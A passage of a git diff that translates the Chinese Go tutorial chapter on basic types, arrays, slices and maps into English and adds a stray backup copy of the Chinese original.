well. `complex128` (with a 64-bit real and 64-bit imaginary part) is the default type, if you need a smaller type, there is one called `complex64` (with a 32-bit real and 32-bit imaginary part). Its form is `RE+IMi`, where `RE` is real part and `IM` is imaginary part, the last `i` is imaginary number. There is a example of complex number. var c complex64 = 5+5i //output: (5+5i) fmt.Printf("Value is: %v", c) + +### String +We just talked about how Go uses the UTF-8 character set. Strings are represented by double quotes `""` or backticks ``` `` ```. -### 字符串 - -我们在上一节中讲过,Go中的字符串都是采用`UTF-8`字符集编码。字符串是用一对双引号(`""`)或反引号(`` ` `` `` ` ``)括起来定义,它的类型是`string`。 - - //示例代码 - var frenchHello string // 声明变量为字符串的一般方法 - var emptyString string = "" // 声明了一个字符串变量,初始化为空字符串 + // sample code + var frenchHello string // basic form to define string + var emptyString string = "" // define a string with empty string func test() { - no, yes, maybe := "no", "yes", "maybe" // 简短声明,同时声明多个变量 - japaneseHello := "Konichiwa" // 同上 - frenchHello = "Bonjour" // 常规赋值 + no, yes, maybe := "no", "yes", "maybe" // brief statement + japaneseHello := "Ohaiou" + frenchHello = "Bonjour" // basic form of assign values } -在Go中字符串是不可变的,例如下面的代码编译时会报错:cannot assign to s[0] +It's impossible to change string values by index. You will get errors when you compile following code. var s string = "hello" s[0] = 'c' - - -但如果真的想要修改怎么办呢?下面的代码可以实现: + +What if I really want to change just one character in a string? Try following code. s := "hello" - c := []byte(s) // 将字符串 s 转换为 []byte 类型 + c := []byte(s) // convert string to []byte type c[0] = 'c' - s2 := string(c) // 再转换回 string 类型 + s2 := string(c) // convert back to string type fmt.Printf("%s\n", s2) - - -Go中可以使用`+`操作符来连接两个字符串: + +You use the `+` operator to combine two strings. s := "hello," m := " world" a := s + m fmt.Printf("%s\n", a) - -修改字符串也可写为: + +and also. s := "hello" - s = "c" + s[1:] // 字符串虽不能更改,但可进行切片操作 + s = "c" + s[1:] // you cannot change string values by index, but you can get values instead. fmt.Printf("%s\n", s) - -如果要声明一个多行的字符串怎么办?可以通过`` ` ``来声明: + +What if I want to have a multiple-line string? m := `hello - world` + world` + +`` ` will not escape any characters in a string. -`` ` `` 括起的字符串为Raw字符串,即字符串在代码中的形式就是打印时的形式,它没有字符转义,换行也将原样输出。例如本例中会输出: +### Error types - hello - world - -### 错误类型 -Go内置有一个`error`类型,专门用来处理错误信息,Go的`package`里面还专门有一个包`errors`来处理错误: +Go has one `error` type for purpose of dealing with error messages. There is also a package called `errors` to handle errors. err := errors.New("emit macho dwarf: elf header corrupted") if err != nil { - fmt.Print(err) + fmt.Print(err) } + +### Underlying data structure -### Go数据底层的存储 - -下面这张图来源于[Russ Cox Blog](http://research.swtch.com/)中一篇介绍[Go数据结构](http://research.swtch.com/godata)的文章,大家可以看到这些基础类型底层都是分配了一块内存,然后存储了相应的值。 +The following picture comes from an article about [Go data structure](http://research.swtch.com/godata) in [Russ Cox Blog](http://research.swtch.com/). As you can see, Go utilizes blocks of memory to store data. ![](images/2.2.basic.png?raw=true) -图2.1 Go数据格式的存储 +Figure 2.1 Go underlying data structure -## 一些技巧 +## Some skills -### 分组声明 +### Define by group -在Go语言中,同时声明多个常量、变量,或者导入多个包时,可采用分组的方式进行声明。 +If you want to define multiple constants, variables or import packages, you can use the group form. -例如下面的代码: +Basic form. import "fmt" import "os" @@ -207,286 +194,261 @@ Go内置有一个`error`类型,专门用来处理错误信息,Go的`package` var i int var pi float32 var prefix string - -可以分组写成如下形式: + +Group form. import( - "fmt" - "os" + "fmt" + "os" ) const( - i = 100 - pi = 3.1415 - prefix = "Go_" + i = 100 + pi = 3.1415 + prefix = "Go_" ) var( - i int - pi float32 - prefix string + i int + pi float32 + prefix string ) + +Unless you assign the value of constant is `iota`, the first value of constant in the group `const()` will be `0`. If following constants don't assign values explicitly, their values will be the same as the last one. If the value of last constant is `iota`, the values of following constants which are not assigned are `iota` also. -### iota枚举 +### iota enumerate -Go里面有一个关键字`iota`,这个关键字用来声明`enum`的时候采用,它默认开始值是0,const中每增加一行加1: +Go has one keyword called `iota`, this keyword is to make `enum`, it begins with `0`, increased by `1`. const( - x = iota // x == 0 - y = iota // y == 1 - z = iota // z == 2 - w // 常量声明省略值时,默认和之前一个值的字面相同。这里隐式地说w = iota,因此w == 3。其实上面y和z可同样不用"= iota" + x = iota // x == 0 + y = iota // y == 1 + z = iota // z == 2 + w // If there is no expression after the constants name, it uses the last expression, so it's saying w = iota implicitly. Therefore w == 3, and y and x both can omit "= iota" as well. ) - const v = iota // 每遇到一个const关键字,iota就会重置,此时v == 0 - - const ( - e, f, g = iota, iota, iota //e=0,f=0,g=0 iota在同一行值相同 + const v = iota // once iota meets keyword `const`, it resets to `0`, so v = 0. + + const ( + e, f, g = iota, iota, iota // e=0,f=0,g=0 values of iota are same in one line. ) - const ( - a = iota a=0 - b = "B" - c = iota //c=2 - d,e,f = iota,iota,iota //d=3,e=3,f=3 - g //g = 4 - ) +### Some rules ->除非被显式设置为其它值或`iota`,每个`const`分组的第一个常量被默认设置为它的0值,第二及后续的常量被默认设置为它前面那个常量的值,如果前面那个常量的值是`iota`,则它也被设置为`iota`。 +The reason that Go is concise because it has some default behaviors. -### Go程序设计的一些规则 -Go之所以会那么简洁,是因为它有一些默认的行为: -- 大写字母开头的变量是可导出的,也就是其它包可以读取的,是公有变量;小写字母开头的就是不可导出的,是私有变量。 -- 大写字母开头的函数也是一样,相当于`class`中的带`public`关键词的公有函数;小写字母开头的就是有`private`关键词的私有函数。 +- Any variable that begins with a capital letter means it will be exported, private otherwise. +- The same rule applies for functions and constants, no `public` or `private` keyword exists in Go. -## array、slice、map +## array, slice, map ### array -`array`就是数组,它的定义方式如下: + +`array` is array obviously, we define them as follows. var arr [n]type + +in `[n]type`, `n` is the length of the array, `type` is the type of its elements. Like other languages, we use `[]` to get or set element values within arrays. -在`[n]type`中,`n`表示数组的长度,`type`表示存储元素的类型。对数组的操作和其它语言类似,都是通过`[]`来进行读取或赋值: + var arr [10]int // an array of type int + arr[0] = 42 // array is 0-based + arr[1] = 13 // assign value to element + fmt.Printf("The first element is %d\n", arr[0]) // get element value, it returns 42 + fmt.Printf("The last element is %d\n", arr[9]) //it returns default value of 10th element in this array, which is 0 in this case. + +Because length is a part of the array type, `[3]int` and `[4]int` are different types, so we cannot change the length of arrays. When you use arrays as arguments, functions get their copies instead of references! If you want to use references, you may want to use `slice`. We'll talk about later. - var arr [10]int // 声明了一个int类型的数组 - arr[0] = 42 // 数组下标是从0开始的 - arr[1] = 13 // 赋值操作 - fmt.Printf("The first element is %d\n", arr[0]) // 获取数据,返回42 - fmt.Printf("The last element is %d\n", arr[9]) //返回未赋值的最后一个元素,默认返回0 +It's possible to use `:=` when you define arrays. -由于长度也是数组类型的一部分,因此`[3]int`与`[4]int`是不同的类型,数组也就不能改变长度。数组之间的赋值是值的赋值,即当把一个数组作为参数传入函数的时候,传入的其实是该数组的副本,而不是它的指针。如果要使用指针,那么就需要用到后面介绍的`slice`类型了。 + a := [3]int{1, 2, 3} // define an int array with 3 elements -数组可以使用另一种`:=`来声明 + b := [10]int{1, 2, 3} // define a int array with 10 elements, of which the first three are assigned. The rest of them use the default value 0. - a := [3]int{1, 2, 3} // 声明了一个长度为3的int数组 + c := [...]int{4, 5, 6} // use `…` to replace the length parameter and Go will calculate it for you. - b := [10]int{1, 2, 3} // 声明了一个长度为10的int数组,其中前三个元素初始化为1、2、3,其它默认为0 +You may want to use arrays as arrays' elements. Let's see how to do this. - c := [...]int{4, 5, 6} // 可以省略长度而采用`...`的方式,Go会自动根据元素个数来计算长度 - -也许你会说,我想数组里面的值还是数组,能实现吗?当然咯,Go支持嵌套数组,即多维数组。比如下面的代码就声明了一个二维数组: - - // 声明了一个二维数组,该数组以两个数组作为元素,其中每个数组中又有4个int类型的元素 + // define a two-dimensional array with 2 elements, and each element has 4 elements. doubleArray := [2][4]int{[4]int{1, 2, 3, 4}, [4]int{5, 6, 7, 8}} - // 上面的声明可以简化,直接忽略内部的类型 + // The declaration can be written more concisely as follows. easyArray := [2][4]int{{1, 2, 3, 4}, {5, 6, 7, 8}} - -数组的分配如下所示: + +Array underlying data structure. ![](images/2.2.array.png?raw=true) -图2.2 多维数组的映射关系 - +Figure 2.2 Multidimensional array mapping relationship ### slice -在很多应用场景中,数组并不能满足我们的需求。在初始定义数组时,我们并不知道需要多大的数组,因此我们就需要“动态数组”。在Go里面这种数据结构叫`slice` +In many situations, the array type is not a good choice -for instance when we don't know how long the array will be when we define it. Thus, we need a "dynamic array". This is called `slice` in Go. -`slice`并不是真正意义上的动态数组,而是一个引用类型。`slice`总是指向一个底层`array`,`slice`的声明也可以像`array`一样,只是不需要长度。 +`slice` is not really a `dynamic array`. It's a reference type. `slice` points to an underlying `array` whose declaration is similar to `array`, but doesn't need length. - // 和声明array一样,只是少了长度 + // just like defining an array, but this time, we exclude the length. var fslice []int -接下来我们可以声明一个`slice`,并初始化数据,如下所示: +Then we define a `slice`, and initialize its data. slice := []byte {'a', 'b', 'c', 'd'} + +`slice` can redefine existing slices or arrays. `slice` uses `array[i:j]` to slice, where `i` is the start index and `j` is end index, but notice that `array[j]` will not be sliced since the length of the slice is `j-i`. -`slice`可以从一个数组或一个已经存在的`slice`中再次声明。`slice`通过`array[i:j]`来获取,其中`i`是数组的开始位置,`j`是结束位置,但不包含`array[j]`,它的长度是`j-i`。 - - // 声明一个含有10个元素元素类型为byte的数组 + // define a slice with 10 elements whose types are bytes var ar = [10]byte {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'} - // 声明两个含有byte的slice + // define two slices with type []byte var a, b []byte - // a指向数组的第3个元素开始,并到第五个元素结束, + // 'a' points to elements from 3rd to 5th in array ar. a = ar[2:5] - //现在a含有的元素: ar[2]、ar[3]和ar[4] + // now 'a' has elements ar[2],ar[3] and ar[4] - // b是数组ar的另一个slice + // 'b' is another slice of array ar b = ar[3:5] - // b的元素是:ar[3]和ar[4] + // now 'b' has elements ar[3] and ar[4] + +Notice the differences between `slice` and `array` when you define them. We use `[…]` to let Go calculate length but use `[]` to define slice only. ->注意`slice`和数组在声明时的区别:声明数组时,方括号内写明了数组的长度或使用`...`自动计算长度,而声明`slice`时,方括号内没有任何字符。 - -它们的数据结构如下所示 +Their underlying data structure. ![](images/2.2.slice.png?raw=true) -图2.3 slice和array的对应关系图 +Figure 2.3 Correspondence between slice and array -slice有一些简便的操作 +slice has some convenient operations. - - `slice`的默认开始位置是0,`ar[:n]`等价于`ar[0:n]` - - `slice`的第二个序列默认是数组的长度,`ar[n:]`等价于`ar[n:len(ar)]` - - 如果从一个数组里面直接获取`slice`,可以这样`ar[:]`,因为默认第一个序列是0,第二个是数组的长度,即等价于`ar[0:len(ar)]` +- `slice` is 0-based, `ar[:n]` equals to `ar[0:n]` +- The second index will be the length of `slice` if omitted, `ar[n:]` equals to `ar[n:len(ar)]`. +- You can use `ar[:]` to slice whole array, reasons are explained in first two statements. -下面这个例子展示了更多关于`slice`的操作: +More examples pertaining to `slice` - // 声明一个数组 + // define an array var array = [10]byte{'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'} - // 声明两个slice + // define two slices var aSlice, bSlice []byte - // 演示一些简便操作 - aSlice = array[:3] // 等价于aSlice = array[0:3] aSlice包含元素: a,b,c - aSlice = array[5:] // 等价于aSlice = array[5:10] aSlice包含元素: f,g,h,i,j - aSlice = array[:] // 等价于aSlice = array[0:10] 这样aSlice包含了全部的元素 + // some convenient operations + aSlice = array[:3] // equals to aSlice = array[0:3] aSlice has elements a,b,c + aSlice = array[5:] // equals to aSlice = array[5:10] aSlice has elements f,g,h,i,j + aSlice = array[:] // equals to aSlice = array[0:10] aSlice has all elements - // 从slice中获取slice - aSlice = array[3:7] // aSlice包含元素: d,e,f,g,len=4,cap=7 - bSlice = aSlice[1:3] // bSlice 包含aSlice[1], aSlice[2] 也就是含有: e,f - bSlice = aSlice[:3] // bSlice 包含 aSlice[0], aSlice[1], aSlice[2] 也就是含有: d,e,f - bSlice = aSlice[0:5] // 对slice的slice可以在cap范围内扩展,此时bSlice包含:d,e,f,g,h - bSlice = aSlice[:] // bSlice包含所有aSlice的元素: d,e,f,g + // slice from slice + aSlice = array[3:7] // aSlice has elements d,e,f,g,len=4,cap=7 + bSlice = aSlice[1:3] // bSlice contains aSlice[1], aSlice[2], so it has elements e,f + bSlice = aSlice[:3] // bSlice contains aSlice[0], aSlice[1], aSlice[2], so it has d,e,f + bSlice = aSlice[0:5] // slice could be expanded in range of cap, now bSlice contains d,e,f,g,h + bSlice = aSlice[:] // bSlice has same elements as aSlice does, which are d,e,f,g -`slice`是引用类型,所以当引用改变其中元素的值时,其它的所有引用都会改变该值,例如上面的`aSlice`和`bSlice`,如果修改了`aSlice`中元素的值,那么`bSlice`相对应的值也会改变。 +`slice` is a reference type, so any changes will affect other variables pointing to the same slice or array. For instance, in the case of `aSlice` and `bSlice` above, if you change the value of an element in `aSlice`, `bSlice` will be changed as well. -从概念上面来说`slice`像一个结构体,这个结构体包含了三个元素: -- 一个指针,指向数组中`slice`指定的开始位置 -- 长度,即`slice`的长度 -- 最大长度,也就是`slice`开始位置到数组的最后位置的长度 +`slice` is like a struct by definition and it contains 3 parts. + +- A pointer that points to where `slice` starts. +- The length of `slice`. +- Capacity, the length from start index to end index of `slice`. Array_a := [10]byte{'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'} Slice_a := Array_a[2:5] -上面代码的真正存储结构如下图所示 +The underlying data structure of the code above as follows. ![](images/2.2.slice2.png?raw=true) -图2.4 slice对应数组的信息 +Figure 2.4 Array information of slice -对于`slice`有几个有用的内置函数: +There are some built-in functions for slice. -- `len` 获取`slice`的长度 -- `cap` 获取`slice`的最大容量 -- `append` 向`slice`里面追加一个或者多个元素,然后返回一个和`slice`一样类型的`slice` -- `copy` 函数`copy`从源`slice`的`src`中复制元素到目标`dst`,并且返回复制的元素的个数 +- `len` gets the length of `slice`. +- `cap` gets the maximum length of `slice` +- `append` appends one or more elements to `slice`, and returns `slice` . +- `copy` copies elements from one slice to the other, and returns the number of elements that were copied. -注:`append`函数会改变`slice`所引用的数组的内容,从而影响到引用同一数组的其它`slice`。 -但当`slice`中没有剩余空间(即`(cap-len) == 0`)时,此时将动态分配新的数组空间。返回的`slice`数组指针将指向这个空间,而原数组的内容将保持不变;其它引用此数组的`slice`则不受影响。 - -从Go1.2开始slice支持了三个参数的slice,之前我们一直采用这种方式在slice或者array基础上来获取一个slice - - var array [10]int - slice := array[2:4] - -这个例子里面slice的容量是8,新版本里面可以指定这个容量 - - slice = array[2:4:7] - -上面这个的容量就是`7-2`,即5。这样这个产生的新的slice就没办法访问最后的三个元素。 - -如果slice是这样的形式`array[:i:j]`,即第一个参数为空,默认值就是0。 +Attention: `append` will change the array that `slice` points to, and affect other slices that point to the same array. Also, if there is not enough length for the slice (`(cap-len) == 0`), `append` returns a new array for this slice. When this happens, other slices pointing to the old array will not be affected. ### map -`map`也就是Python中字典的概念,它的格式为`map[keyType]valueType` +`map` is behaves like a dictionary in Python. Use the form `map[keyType]valueType` to define it. -我们看下面的代码,`map`的读取和设置也类似`slice`一样,通过`key`来操作,只是`slice`的`index`只能是`int`类型,而`map`多了很多类型,可以是`int`,可以是`string`及所有完全定义了`==`与`!=`操作的类型。 +Let's see some code. The 'set' and 'get' values in `map` are similar to `slice`, however the index in `slice` can only be of type 'int' while `map` can use much more than that: for example `int`, `string`, or whatever you want. Also, they are all able to use `==` and `!=` to compare values. - // 声明一个key是字符串,值为int的字典,这种方式的声明需要在使用之前使用make初始化 - var numbers map[string]int - // 另一种map的声明方式 + // use string as the key type, int as the value type, and `make` initialize it. + var numbers map[string] int + // another way to define map numbers := make(map[string]int) - numbers["one"] = 1 //赋值 - numbers["ten"] = 10 //赋值 + numbers["one"] = 1 // assign value by key + numbers["ten"] = 10 numbers["three"] = 3 - fmt.Println("第三个数字是: ", numbers["three"]) // 读取数据 - // 打印出来如:第三个数字是: 3 + fmt.Println("The third number is: ", numbers["three"]) // get values + // It prints: The third number is: 3 -这个`map`就像我们平常看到的表格一样,左边列是`key`,右边列是值 +Some notes when you use map. -使用map过程中需要注意的几点: -- `map`是无序的,每次打印出来的`map`都会不一样,它不能通过`index`获取,而必须通过`key`获取 -- `map`的长度是不固定的,也就是和`slice`一样,也是一种引用类型 -- 内置的`len`函数同样适用于`map`,返回`map`拥有的`key`的数量 -- `map`的值可以很方便的修改,通过`numbers["one"]=11`可以很容易的把key为`one`的字典值改为`11` -- `map`和其他基本型别不同,它不是thread-safe,在多个go-routine存取时,必须使用mutex lock机制 +- `map` is disorderly. Everytime you print `map` you will get different results. It's impossible to get values by `index` -you have to use `key`. +- `map` doesn't have a fixed length. It's a reference type just like `slice`. +- `len` works for `map` also. It returns how many `key`s that map has. +- It's quite easy to change the value through `map`. Simply use `numbers["one"]=11` to change the value of `key` one to `11`. -`map`的初始化可以通过`key:val`的方式初始化值,同时`map`内置有判断是否存在`key`的方式 +You can use form `key:val` to initialize map's values, and `map` has built-in methods to check if the `key` exists. -通过`delete`删除`map`的元素: +Use `delete` to delete an element in `map`. - // 初始化一个字典 - rating := map[string]float32{"C":5, "Go":4.5, "Python":4.5, "C++":2 } - // map有两个返回值,第二个返回值,如果不存在key,那么ok为false,如果存在ok为true + // Initialize a map + rating := map[string]float32 {"C":5, "Go":4.5, "Python":4.5, "C++":2 } + // map has two return values. For the second return value, if the key doesn't exist,'ok' returns false. It returns true otherwise. csharpRating, ok := rating["C#"] if ok { - fmt.Println("C# is in the map and its rating is ", csharpRating) + fmt.Println("C# is in the map and its rating is ", csharpRating) } else { - fmt.Println("We have no rating associated with C# in the map") + fmt.Println("We have no rating associated with C# in the map") } - delete(rating, "C") // 删除key为C的元素 + delete(rating, "C") // delete element with key "c" - -上面说过了,`map`也是一种引用类型,如果两个`map`同时指向一个底层,那么一个改变,另一个也相应的改变: +As I said above, `map` is a reference type. If two `map`s point to same underlying data, any change will affect both of them. m := make(map[string]string) m["Hello"] = "Bonjour" m1 := m - m1["Hello"] = "Salut" // 现在m["hello"]的值已经是Salut了 + m1["Hello"] = "Salut" // now the value of m["hello"] is Salut + +### make, new +`make` does memory allocation for built-in models, such as `map`, `slice`, and `channel`), while `new` is for types' memory allocation. -### make、new操作 +`new(T)` allocates zero-value to type `T`'s memory, returns its memory address, which is the value of type `*T`. By Go's definition, it returns a pointer which points to type `T`'s zero-value. -`make`用于内建类型(`map`、`slice` 和`channel`)的内存分配。`new`用于各种类型的内存分配。 +`new` returns pointers. -内建函数`new`本质上说跟其它语言中的同名函数功能一样:`new(T)`分配了零值填充的`T`类型的内存空间,并且返回其地址,即一个`*T`类型的值。用Go的术语说,它返回了一个指针,指向新分配的类型`T`的零值。有一点非常重要: +The built-in function `make(T, args)` has different purposes than `new(T)`. `make` can be used for `slice`, `map`, and `channel`, and returns a type `T` with an initial value. The reason for doing this is because the underlying data of these three types must be initialized before they point to them. For example, a `slice` contains a pointer that points to the underlying `array`, length and capacity. Before these data are initialized, `slice` is `nil`, so for `slice`, `map` and `channel`, `make` initializes their underlying data and assigns some suitable values. ->`new`返回指针。 +`make` returns non-zero values. -内建函数`make(T, args)`与`new(T)`有着不同的功能,make只能创建`slice`、`map`和`channel`,并且返回一个有初始值(非零)的`T`类型,而不是`*T`。本质来讲,导致这三个类型有所不同的原因是指向数据结构的引用在使用前必须被初始化。例如,一个`slice`,是一个包含指向数据(内部`array`)的指针、长度和容量的三项描述符;在这些项目被初始化之前,`slice`为`nil`。对于`slice`、`map`和`channel`来说,`make`初始化了内部的数据结构,填充适当的值。 - ->`make`返回初始化后的(非零)值。 - -下面这个图详细的解释了`new`和`make`之间的区别。 +The following picture shows how `new` and `make` are different. ![](images/2.2.makenew.png?raw=true) -图2.5 make和new对应底层的内存分配 +Figure 2.5 Underlying memory allocation of make and new - -## 零值 -关于“零值”,所指并非是空值,而是一种“变量未填充前”的默认值,通常为0。 -此处罗列 部分类型 的 “零值” +Zero-value does not mean empty value. It's the value that variables default to in most cases. Here is a list of some zero-values. int 0 int8 0 int32 0 int64 0 uint 0x0 - rune 0 //rune的实际类型是 int32 - byte 0x0 // byte的实际类型是 uint8 - float32 0 //长度为 4 byte - float64 0 //长度为 8 byte + rune 0 // the actual type of rune is int32 + byte 0x0 // the actual type of byte is uint8 + float32 0 // length is 4 byte + float64 0 //length is 8 byte bool false string "" + +## Links -## links - * [目录]() - * 上一章: [你好,Go](<02.1.md>) - * 下一节: [流程和函数](<02.3.md>) +- [Directory](preface.md) +- Previous section: ["Hello, Go"](02.1.md) +- Next section: [Control statements and functions](02.3.md) diff --git a/en/02.2.md~380a8ee74c41759d8189ad553423467994187253 b/en/02.2.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..9348534c --- /dev/null +++ b/en/02.2.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,492 @@ +# 2.2 Go基础 + +这小节我们将要介绍如何定义变量、常量、Go内置类型以及Go程序设计中的一些技巧。 + +## 定义变量 + +Go语言里面定义变量有多种方式。 + +使用`var`关键字是Go最基本的定义变量方式,与C语言不同的是Go把变量类型放在变量名后面: + + //定义一个名称为“variableName”,类型为"type"的变量 + var variableName type + +定义多个变量 + + //定义三个类型都是“type”的变量 + var vname1, vname2, vname3 type + +定义变量并初始化值 + + //初始化“variableName”的变量为“value”值,类型是“type” + var variableName type = value + +同时初始化多个变量 + + /* + 定义三个类型都是"type"的变量,并且分别初始化为相应的值 + vname1为v1,vname2为v2,vname3为v3 + */ + var vname1, vname2, vname3 type= v1, v2, v3 + +你是不是觉得上面这样的定义有点繁琐?没关系,因为Go语言的设计者也发现了,有一种写法可以让它变得简单一点。我们可以直接忽略类型声明,那么上面的代码变成这样了: + + /* + 定义三个变量,它们分别初始化为相应的值 + vname1为v1,vname2为v2,vname3为v3 + 然后Go会根据其相应值的类型来帮你初始化它们 + */ + var vname1, vname2, vname3 = v1, v2, v3 + +你觉得上面的还是有些繁琐?好吧,我也觉得。让我们继续简化: + + /* + 定义三个变量,它们分别初始化为相应的值 + vname1为v1,vname2为v2,vname3为v3 + 编译器会根据初始化的值自动推导出相应的类型 + */ + vname1, vname2, vname3 := v1, v2, v3 + +现在是不是看上去非常简洁了?`:=`这个符号直接取代了`var`和`type`,这种形式叫做简短声明。不过它有一个限制,那就是它只能用在函数内部;在函数外部使用则会无法编译通过,所以一般用`var`方式来定义全局变量。 + +`_`(下划线)是个特殊的变量名,任何赋予它的值都会被丢弃。在这个例子中,我们将值`35`赋予`b`,并同时丢弃`34`: + + _, b := 34, 35 + +Go对于已声明但未使用的变量会在编译阶段报错,比如下面的代码就会产生一个错误:声明了`i`但未使用。 + + package main + + func main() { + var i int + } + +## 常量 + +所谓常量,也就是在程序编译阶段就确定下来的值,而程序在运行时无法改变该值。在Go程序中,常量可定义为数值、布尔值或字符串等类型。 + +它的语法如下: + + const constantName = value + //如果需要,也可以明确指定常量的类型: + const Pi float32 = 3.1415926 + +下面是一些常量声明的例子: + + const Pi = 3.1415926 + const i = 10000 + const MaxThread = 10 + const prefix = "astaxie_" + +Go 常量和一般程序语言不同的是,可以指定相当多的小数位数(例如200位), +若指定給float32自动缩短为32bit,指定给float64自动缩短为64bit,详情参考[链接](http://golang.org/ref/spec#Constants) + +## 内置基础类型 + +### Boolean + +在Go中,布尔值的类型为`bool`,值是`true`或`false`,默认为`false`。 + + //示例代码 + var isActive bool // 全局变量声明 + var enabled, disabled = true, false // 忽略类型的声明 + func test() { + var available bool // 一般声明 + valid := false // 简短声明 + available = true // 赋值操作 + } + + +### 数值类型 + +整数类型有无符号和带符号两种。Go同时支持`int`和`uint`,这两种类型的长度相同,但具体长度取决于不同编译器的实现。Go里面也有直接定义好位数的类型:`rune`, `int8`, `int16`, `int32`, `int64`和`byte`, `uint8`, `uint16`, `uint32`, `uint64`。其中`rune`是`int32`的别称,`byte`是`uint8`的别称。 + +>需要注意的一点是,这些类型的变量之间不允许互相赋值或操作,不然会在编译时引起编译器报错。 +> +>如下的代码会产生错误:invalid operation: a + b (mismatched types int8 and int32) +> +>> var a int8 + +>> var b int32 + +>> c:=a + b +> +>另外,尽管int的长度是32 bit, 但int 与 int32并不可以互用。 + +浮点数的类型有`float32`和`float64`两种(没有`float`类型),默认是`float64`。 + +这就是全部吗?No!Go还支持复数。它的默认类型是`complex128`(64位实数+64位虚数)。如果需要小一些的,也有`complex64`(32位实数+32位虚数)。复数的形式为`RE + IMi`,其中`RE`是实数部分,`IM`是虚数部分,而最后的`i`是虚数单位。下面是一个使用复数的例子: + + var c complex64 = 5+5i + //output: (5+5i) + fmt.Printf("Value is: %v", c) + + +### 字符串 + +我们在上一节中讲过,Go中的字符串都是采用`UTF-8`字符集编码。字符串是用一对双引号(`""`)或反引号(`` ` `` `` ` ``)括起来定义,它的类型是`string`。 + + //示例代码 + var frenchHello string // 声明变量为字符串的一般方法 + var emptyString string = "" // 声明了一个字符串变量,初始化为空字符串 + func test() { + no, yes, maybe := "no", "yes", "maybe" // 简短声明,同时声明多个变量 + japaneseHello := "Konichiwa" // 同上 + frenchHello = "Bonjour" // 常规赋值 + } + +在Go中字符串是不可变的,例如下面的代码编译时会报错:cannot assign to s[0] + + var s string = "hello" + s[0] = 'c' + + +但如果真的想要修改怎么办呢?下面的代码可以实现: + + s := "hello" + c := []byte(s) // 将字符串 s 转换为 []byte 类型 + c[0] = 'c' + s2 := string(c) // 再转换回 string 类型 + fmt.Printf("%s\n", s2) + + +Go中可以使用`+`操作符来连接两个字符串: + + s := "hello," + m := " world" + a := s + m + fmt.Printf("%s\n", a) + +修改字符串也可写为: + + s := "hello" + s = "c" + s[1:] // 字符串虽不能更改,但可进行切片操作 + fmt.Printf("%s\n", s) + +如果要声明一个多行的字符串怎么办?可以通过`` ` ``来声明: + + m := `hello + world` + +`` ` `` 括起的字符串为Raw字符串,即字符串在代码中的形式就是打印时的形式,它没有字符转义,换行也将原样输出。例如本例中会输出: + + hello + world + +### 错误类型 +Go内置有一个`error`类型,专门用来处理错误信息,Go的`package`里面还专门有一个包`errors`来处理错误: + + err := errors.New("emit macho dwarf: elf header corrupted") + if err != nil { + fmt.Print(err) + } + +### Go数据底层的存储 + +下面这张图来源于[Russ Cox Blog](http://research.swtch.com/)中一篇介绍[Go数据结构](http://research.swtch.com/godata)的文章,大家可以看到这些基础类型底层都是分配了一块内存,然后存储了相应的值。 + +![](images/2.2.basic.png?raw=true) + +图2.1 Go数据格式的存储 + +## 一些技巧 + +### 分组声明 + +在Go语言中,同时声明多个常量、变量,或者导入多个包时,可采用分组的方式进行声明。 + +例如下面的代码: + + import "fmt" + import "os" + + const i = 100 + const pi = 3.1415 + const prefix = "Go_" + + var i int + var pi float32 + var prefix string + +可以分组写成如下形式: + + import( + "fmt" + "os" + ) + + const( + i = 100 + pi = 3.1415 + prefix = "Go_" + ) + + var( + i int + pi float32 + prefix string + ) + +### iota枚举 + +Go里面有一个关键字`iota`,这个关键字用来声明`enum`的时候采用,它默认开始值是0,const中每增加一行加1: + + const( + x = iota // x == 0 + y = iota // y == 1 + z = iota // z == 2 + w // 常量声明省略值时,默认和之前一个值的字面相同。这里隐式地说w = iota,因此w == 3。其实上面y和z可同样不用"= iota" + ) + + const v = iota // 每遇到一个const关键字,iota就会重置,此时v == 0 + + const ( + e, f, g = iota, iota, iota //e=0,f=0,g=0 iota在同一行值相同 + ) + + const ( + a = iota a=0 + b = "B" + c = iota //c=2 + d,e,f = iota,iota,iota //d=3,e=3,f=3 + g //g = 4 + ) + +>除非被显式设置为其它值或`iota`,每个`const`分组的第一个常量被默认设置为它的0值,第二及后续的常量被默认设置为它前面那个常量的值,如果前面那个常量的值是`iota`,则它也被设置为`iota`。 + +### Go程序设计的一些规则 +Go之所以会那么简洁,是因为它有一些默认的行为: +- 大写字母开头的变量是可导出的,也就是其它包可以读取的,是公有变量;小写字母开头的就是不可导出的,是私有变量。 +- 大写字母开头的函数也是一样,相当于`class`中的带`public`关键词的公有函数;小写字母开头的就是有`private`关键词的私有函数。 + +## array、slice、map + +### array +`array`就是数组,它的定义方式如下: + + var arr [n]type + +在`[n]type`中,`n`表示数组的长度,`type`表示存储元素的类型。对数组的操作和其它语言类似,都是通过`[]`来进行读取或赋值: + + var arr [10]int // 声明了一个int类型的数组 + arr[0] = 42 // 数组下标是从0开始的 + arr[1] = 13 // 赋值操作 + fmt.Printf("The first element is %d\n", arr[0]) // 获取数据,返回42 + fmt.Printf("The last element is %d\n", arr[9]) //返回未赋值的最后一个元素,默认返回0 + +由于长度也是数组类型的一部分,因此`[3]int`与`[4]int`是不同的类型,数组也就不能改变长度。数组之间的赋值是值的赋值,即当把一个数组作为参数传入函数的时候,传入的其实是该数组的副本,而不是它的指针。如果要使用指针,那么就需要用到后面介绍的`slice`类型了。 + +数组可以使用另一种`:=`来声明 + + a := [3]int{1, 2, 3} // 声明了一个长度为3的int数组 + + b := [10]int{1, 2, 3} // 声明了一个长度为10的int数组,其中前三个元素初始化为1、2、3,其它默认为0 + + c := [...]int{4, 5, 6} // 可以省略长度而采用`...`的方式,Go会自动根据元素个数来计算长度 + +也许你会说,我想数组里面的值还是数组,能实现吗?当然咯,Go支持嵌套数组,即多维数组。比如下面的代码就声明了一个二维数组: + + // 声明了一个二维数组,该数组以两个数组作为元素,其中每个数组中又有4个int类型的元素 + doubleArray := [2][4]int{[4]int{1, 2, 3, 4}, [4]int{5, 6, 7, 8}} + + // 上面的声明可以简化,直接忽略内部的类型 + easyArray := [2][4]int{{1, 2, 3, 4}, {5, 6, 7, 8}} + +数组的分配如下所示: + +![](images/2.2.array.png?raw=true) + +图2.2 多维数组的映射关系 + + +### slice + 